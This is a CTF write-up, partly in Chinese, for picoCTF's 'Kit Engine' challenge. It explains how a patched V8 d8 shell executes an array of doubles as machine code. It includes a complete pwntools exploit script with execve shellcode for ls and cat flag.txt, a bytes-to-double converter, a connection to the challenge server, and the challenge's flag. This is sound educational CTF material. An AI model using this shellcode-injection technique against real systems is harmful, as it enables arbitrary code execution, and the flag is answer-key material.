PicoCTF - Kit Engine
Background
V8 引擎是 Google 做出來讓 JS 跟瀏覽器溝通的的開源專案,這個引擎被使用的非常廣泛,在 Chrome 瀏覽器跟 Node.js ,以及桌面應用程式框架 Electron 之中都有他的身影。而在 V8 出現前,最早最早的 JavaScript 引擎,叫做 SpiderMonkey ,同時也是另一個知名瀏覽器 FireFox 的渲染引擎。
d8 is V8’s own developer shell.
d8 is useful for running some JavaScript locally or debugging changes you have made to V8. Building V8 using GN for x64 outputs a d8 binary in out.gn/x64.optdebug/d8. You can call d8 with the –help argument for more information about usage and flags.
Convert Bytes to Floating Point Numbers?
1
2
3
4
5
6
7>>> import struct >>> struct.pack('f', 3.141592654) b'\xdb\x0fI@' >>> struct.unpack('f', b'\xdb\x0fI@') (3.1415927410125732,) >>> struct.pack('4f', 1.0, 2.0, 3.0, 4.0) '\x00\x00\x80?\x00\x00\x00@\x00\x00@@\x00\x00\x80@'
Source code
:::spoiler Patch
1 |
|
:::
Recon
這一題很有趣,不過我原本不知道v8或d8是啥東東,以為是類似老舊攝影機???但看了12的WP,發現沒有想像中的複雜,首先他給了一個d8(也就是local端可以使用的v8,類似psysh的感覺,可以執行js的環境),然後他有給一個patch,所以不用管其他的部分,只要專注在他patch的內容即可。
- diff
從patch file可以看得出來他新實作了三個function:
uint64_t doubleToUint64_t(double d)
,void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args)
,void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args)
,其中Breakpoint
和AssembleEngine
都是繼承Shell class,然後AssembleEngine
需要傳入args的參數 - Analyze
AssembleEngine
Function 在patch的33行中,會判斷傳入的args是不是array,然後array中每一個element都要是number,接著就會把value放到前面定義的func(其實就是function pointer),再後面的for loop做的事情是把func中每一個element轉data type,從double轉成unsinged integer 64,接著就直接call這個function - Construct Payload
基於以上觀察,我們知道
AssembleEngine
可以直接執行我們給他的shellcode,只不過需要花心思在他的data type檢查,也就是args需要是array,且每一個element都必須是double才行
Exploit - Build Shell Code & Transfer Data Type
from pwn import *
import struct
context.arch = 'amd64'
if args.REMOTE:
ls = asm(shellcraft.execve(b"/bin/ls", ["ls"]))
cat = asm(shellcraft.execve(b"/bin/cat", ["cat", "flag.txt"]))
r = remote('mercury.picoctf.net', 48700)
else:
ls = b'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.cho.mr\x01H1\x04$H\x89\xe7hmr\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
cat = b'j\x01\xfe\x0c$H\xb8/bin/catPH\x89\xe7h.txtH\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8b`u\x01gm`fH1\x04$1\xf6Vj\x0c^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
r = process(['python', 'server.py'])
log.info(f'ls shellcode: {ls}')
log.info(f'cat flag.txt shellcode: {cat}')
def Transfer2DoubleArray(shellcode):
shell_array = []
if len(shellcode) % 8 > 0:
shellcode += (8 - len(shellcode) % 8) * b'\x00'
for i in range(0, len(shellcode), 8):
double_tmp = struct.unpack('d', shellcode[i:i+8])[0]
shell_array.append(double_tmp)
return shell_array
payload = f'AssembleEngine({Transfer2DoubleArray(ls)})'
r.recvuntil(b'Provide size. Must be < 5k:')
r.sendline(str(len(payload)).encode())
r.recvline()
r.sendline(payload.encode())
print(r.recvall().decode())
r.close()
if args.REMOTE:
r = remote('mercury.picoctf.net', 48700)
else:
r = process(['python', 'server.py'])
payload = f'AssembleEngine({Transfer2DoubleArray(cat)})'
r.recvuntil(b'Provide size. Must be < 5k:')
r.sendline(str(len(payload)).encode())
r.recvline()
r.sendline(payload.encode())
print(r.recvall().decode())
:::spoiler Local Result
1 |
|
::: :::spoiler Remote Result
1 |
|
:::
Flag: picoCTF{vr00m_vr00m_48f07b402a4020e0}